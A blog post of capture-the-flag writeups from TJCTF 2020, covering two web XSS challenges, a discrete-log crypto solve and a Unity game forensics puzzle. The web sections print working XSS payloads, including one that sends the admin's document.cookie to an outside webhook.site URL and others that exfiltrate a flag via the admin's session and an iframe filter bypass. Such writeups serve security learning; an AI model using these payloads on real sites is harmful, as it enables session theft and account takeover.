TJCTF 2020 Writeups

TJCTF 2020

TJCTF 2020 was a CTF run by TJHSST’s Computer Security Club. I played with the team inSmartCard, finishing 14th (in the high school teams, 20th with observer teams). Check out my team page on the CTF website here to see me carry my team :^). Here are some writeups of some challenges which I thought were interesting.

Web

My specialty in CTFs are web challs, which is I tried to solve every web challenge in this CTF.

FB Library

FB Library was the 2nd to last web challenge, with 20 solves and worth 90 points. However, it had the least solves, even though the solution was probably the shortest.

The website is a catalog of books where you can search for specific ones. You can register and login to accounts (but this was a red herring), as well as report URLs to the admin. There was a cookie named session that could be accessed by JavaScript, and an /admin endpoint that normal users couldn’t access. Obvious XSS challenge.

Finding the XSS was easy too - the search parameter wasn’t filtered and you could achieve XSS fairly quickly.

However, the problem came when trying to exploit this XSS - there was a length constraint of 20 characters.

Any input longer than 20 would get truncated to 17 characters. There was a report function where you could report to the admin any URL, but CORS was too strong and you couldn’t make requests back to the website from your own domain.

That meant that we had to find an XSS vector with less than 20 characters. Looking at the source code of the website, we see:

There’s a script tag with a comment below where our input is reflected. This means that we don’t need to finish a script tag when injecting, and can just end our code with a comment. This allows us to inject code like <script>alert(1)/* and just barely get past the length restraint.

Not including the <script> and /*, we have a total of 10 characters with which to work with in a JS context. We need to find a place to store our exploit so we can evaluate any script we want. eval will take up 6 characters (eval()), which means that we need to find a 4 character long variable to exploit.

for(var key in window) {
    if(key.length <= 4) console.log(key)
}

I first tried out jQuery, to no success. Eventually, I started looking into the name variable, and found this page.

The name variable is set when using the window.open() method, and is one of the parameters in the function! From this point, the rest was simple.

Host a webpage with the following source:

<script>
window.open("https://fb_library.tjctf.org/search?q=<script>eval(name)/*", "location.href=`https://webhook.site/72244fec-fd93-42f5-8b09-797fccfd078d?q=${document.cookie}`");
</script>

and you’ll get the flag!

tjctf{trunc4t3d_n0_pr0bl3m_rly???}

Admin Secrets

Admin Secrets was the last web challenge, with 71 solves and 100 points. I also got first-blood on this challenge ~4 hours into the competition, which I was really happy with!

The website was a “Textbin”, where you could register and create posts with any HTML tags you wanted. You could also report posts to the admin. Another obvious XSS challenge.

However, when I first tried reporting to the admin, it wasn’t able to connect to any outside resources. I later learned that this was a problem with the website initially, and that it worked later. Well, I solved the problem under the assumption it couldn’t connect anywhere :P.

The way I got around this (non-existent) problem was getting the admin to log into my account and create a post to my list of posts. I used the following code segment with jQuery to do this:

$.post("/login_worker", {username: "Strellic", password: "12345" }, () => {
	$.post("/create_worker", {text: resp});
});

Now that I could get responses from the admin, I now needed to find the flag. Looking at the source of the post website, I saw:

Obviously, the flag would be there!

I used the following script to grab that data:

window.onload = () => {
	$.post("/login_worker", {username: "Strellic", password: "12345" }, () => {
		$.post("/create_worker", {text: $(".admin_console").html()});
	});
}

However, upon viewing my new post, I saw that the admin console just had three buttons. However, one of the buttons was named Access Flag. Clicking the button would send a request to /admin_flag and respond with the flag. Easy enough.

window.onload = () => {
	$.get("/admin_flag", flag => {
		$.post("/login_worker", {username: "Strellic", password: "12345" }, () => {
			$.post("/create_worker", {text: flag});
		});
	});
}

Oh boy. Actually, when I solved this challenge on day 1, it gave me no information on why my post contained unsafe content.

So, I had to find a way to bypass the XSS filter and still get the admin to send me the flag. The intended solution was to encode your payload enough to bypass the filter. However, I thought about it in a different way - if the website checks the post to see if there’s JavaScript, why not have any JavaScript in the post?

My idea was to create an iframe using the XSS, and inject Javascript INTO the iframe that would fetch the flag and send it to me. Here was my payload:

window.onload = () => {
    let iframe = document.createElement("iframe");
    iframe.src = "/posts/pjdNubwOj!FA71Qg";
    iframe.onload = () => {
        iframe.contentWindow.$.ajax({
            type: "GET",
            url: "/admin_flag",
            success: function(resp) {
                iframe.contentWindow.$.post("/login_worker", {username: "Strellic", password: "12345" }, () => {
                    iframe.contentWindow.$.post("/create_worker", {text: resp});
                });
            }
        });
    };
    document.body.appendChild(iframe);
}

The iframe.src links to a blank post that I made with no JavaScript on it. When the admin views the page, it’ll create an iframe with the post, and run JavaScript from that iFrame’s context! Then, it’ll send me the flag by creating a new post on my profile.

A pretty cool and unintended solution!

Cryptography

Difficult Decryption

Just use sympy lol.

from sympy.ntheory.residue_ntheory import discrete_log
g = 5
r = 232042342203461569340683568996607232345
n = 491988559103692092263984889813697016406

your_key = 76405255723702450233149901853450417505
enc = 12259991521844666821961395299843462461536060465691388049371797540470
a = discrete_log(n,r,g)
print(bytes.fromhex(hex(enc ^ (pow(your_key, a, n)))[2:]))
# b'tjctf{Ali3ns_1iv3_am0ng_us!}'

Forensics

Gamer F

Gamer F was a Unity game that combined both Snake and Tetris, and had the flag stored in three parts. Since it was a Unity game, I first played around with it. The flag for this challenge was split into three parts.

There was an obvious flag on the menu screen, but it seemed to be covered by a colored box.

Playing with the Sound bar changed the color of the box, but the flag was always hidden. So, I fired up dnSpy and opened up Assembly-CSharp.dll.

I quickly found this piece of code:

Changing the color with the Sound bar seems to change the color of this cover box. So, I made an edit to this line and made the box transparent.

After, opening the game and moving the Sound bar showed me this!

1/3 of the flag found.

Looking through the source code some more I found:

which seemed to be something related to winning or clearing the game. I converted this from hex to ASCII and got the 2nd part of the flag!

Now, for the final part of the flag, I didn’t find it anywhere in the code. So, I started looking through the game’s files. I fired up UnityAssetsBundleExtractor and looked through the files.

I eventually found these three audio files. One of them just played a sound effect. The next one, however, played what seemed to be the flag, but it read out the flag in Japanese. My heart sank, but thankfully the last audio file read out the last part of the flag in English. :)

Flag: tjctf{wh3rs_the_T5sp1n_sn4ekk}



comments powered by Disqus